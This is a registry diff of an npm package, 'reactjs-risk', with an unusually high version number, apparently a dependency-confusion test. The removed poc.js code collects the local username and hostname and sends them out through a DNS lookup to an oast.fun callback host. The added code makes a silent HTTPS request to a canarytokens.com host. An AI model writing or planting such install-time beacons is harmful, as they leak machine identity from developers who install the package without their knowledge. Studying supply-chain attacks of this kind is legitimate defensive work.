reactjs-risk 99.9.9 → 99.12.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -2
- package/poc.js +4 -15
package/package.json
CHANGED
package/poc.js
CHANGED
|
@@ -1,18 +1,7 @@
|
|
|
1
|
-
const
|
|
2
|
-
const os = require('os');
|
|
1
|
+
const https = require('https');
|
|
3
2
|
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
// الرابط المخصص لك بناءً على المعطيات
|
|
8
|
-
const trackingDomain = "rwctgvchjoclsfbudubxiz3kr5vehkbum.oast.fun";
|
|
9
|
-
const payload = `${username}.${hostname}.${trackingDomain}`.replace(/[^a-zA-Z0-9.-]/g, '_');
|
|
10
|
-
|
|
11
|
-
dns.lookup(payload, (err) => {
|
|
12
|
-
if (err) {
|
|
13
|
-
console.log("[PoC] Connection blocked or error: " + err.message);
|
|
14
|
-
} else {
|
|
15
|
-
console.log("[PoC] DNS Ping-back sent to: " + payload);
|
|
16
|
-
}
|
|
3
|
+
https.get('srikgkxksgzu6kif36cq6rwp0.canarytokens.com', (res) => {
|
|
4
|
+
|
|
5
|
+
}).on('error', (e) => {
|
|
17
6
|
});
|
|
18
7
|
|